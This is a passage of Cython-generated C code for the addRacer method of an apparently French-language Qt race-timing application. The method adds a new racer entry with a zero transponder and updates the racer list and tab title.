__Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 85, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "MainWindow.py":86 * item.setText( "Nouveau" ) * self.concurrents.newRecord() * c = dict( self.concurrents._data ) # <<<<<<<<<<<<<< * c['transponder'] = 0 * item.setData( Globals.UserRole, c ) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_concurrents); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_data_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(((PyObject *)(&PyDict_Type)), __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_c = ((PyObject*)__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":87 * self.concurrents.newRecord() * c = dict( self.concurrents._data ) * c['transponder'] = 0 # <<<<<<<<<<<<<< * item.setData( Globals.UserRole, c ) * item.setFont( Globals.C_listFont ) */ if (unlikely(PyDict_SetItem(__pyx_v_c, __pyx_n_u_transponder, __pyx_int_0) < 0)) __PYX_ERR(0, 87, __pyx_L1_error) /* "MainWindow.py":88 * c = dict( self.concurrents._data ) * c['transponder'] = 0 * item.setData( Globals.UserRole, c ) # <<<<<<<<<<<<<< * item.setFont( Globals.C_listFont ) * self.L_racerlist.addItem(item) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setData); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_UserRole); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; __pyx_t_5 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_5 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_4, __pyx_v_c}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_5, 2+__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_1, __pyx_t_4, __pyx_v_c}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_5, 2+__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(2+__pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_5, __pyx_t_4); __Pyx_INCREF(__pyx_v_c); __Pyx_GIVEREF(__pyx_v_c); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_5, __pyx_v_c); __pyx_t_4 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":89 * c['transponder'] = 0 * item.setData( Globals.UserRole, c ) * item.setFont( Globals.C_listFont ) # <<<<<<<<<<<<<< * self.L_racerlist.addItem(item) * self.editRacer( item ) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setFont); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_C_listFont); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":90 * item.setData( Globals.UserRole, c ) * item.setFont( Globals.C_listFont ) * self.L_racerlist.addItem(item) # <<<<<<<<<<<<<< * self.editRacer( item ) * title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_addItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_item); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_item}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_item}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_item); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":91 * item.setFont( Globals.C_listFont ) * self.L_racerlist.addItem(item) * self.editRacer( item ) # <<<<<<<<<<<<<< * title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_editRacer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_item); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_item}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_item}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_v_item); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":92 * self.L_racerlist.addItem(item) * self.editRacer( item ) * title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) * Globals.racerList[ Globals.C_concurrents_ID_fmt%( len(Globals.racerList)+10001 )] = c */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QCoreApplication); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_translate); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_L_racerlist); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_count); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_2 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_2); __pyx_t_1 = 0; __pyx_t_2 = 0; __pyx_t_2 = PyUnicode_Format(__pyx_kp_u_s_d, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_title = ((PyObject*)__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":93 * self.editRacer( item ) * title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) # <<<<<<<<<<<<<< * Globals.racerList[ Globals.C_concurrents_ID_fmt%( len(Globals.racerList)+10001 )] = c * */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setTabText); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Racer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_3}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_3}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_8, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; __pyx_t_5 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_5 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_4, __pyx_v_title}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_5, 2+__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_4, __pyx_v_title}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_5, 2+__pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_8 = PyTuple_New(2+__pyx_t_5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_8, 0+__pyx_t_5, __pyx_t_4); __Pyx_INCREF(__pyx_v_title); __Pyx_GIVEREF(__pyx_v_title); PyTuple_SET_ITEM(__pyx_t_8, 1+__pyx_t_5, __pyx_v_title); __pyx_t_4 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_8, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":94 * title = "%s (%d)"%(QtCore.QCoreApplication.translate("MainWindow", "Concurrents"), self.L_racerlist.count()) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), title) * Globals.racerList[ Globals.C_concurrents_ID_fmt%( len(Globals.racerList)+10001 )] = c # <<<<<<<<<<<<<< * * def findNpa(self): */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_racerList); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_C_concurrents_ID_fmt); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_racerList); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_9 = PyObject_Length(__pyx_t_4); if (unlikely(__pyx_t_9 == -1)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = PyInt_FromSsize_t((__pyx_t_9 + 0x2711)); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = PyNumber_Remainder(__pyx_t_8, __pyx_t_4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_t_2, __pyx_v_c) < 0)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "MainWindow.py":82 * tpRacerList[ Globals.C_concurrents_TP_fmt%tp]=dlg.r_item.data(Globals.UserRole) * * def addRacer(self): # <<<<<<<<<<<<<< * item = QtWidgets.QListWidgetItem() * item.setText( "Nouveau" ) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); 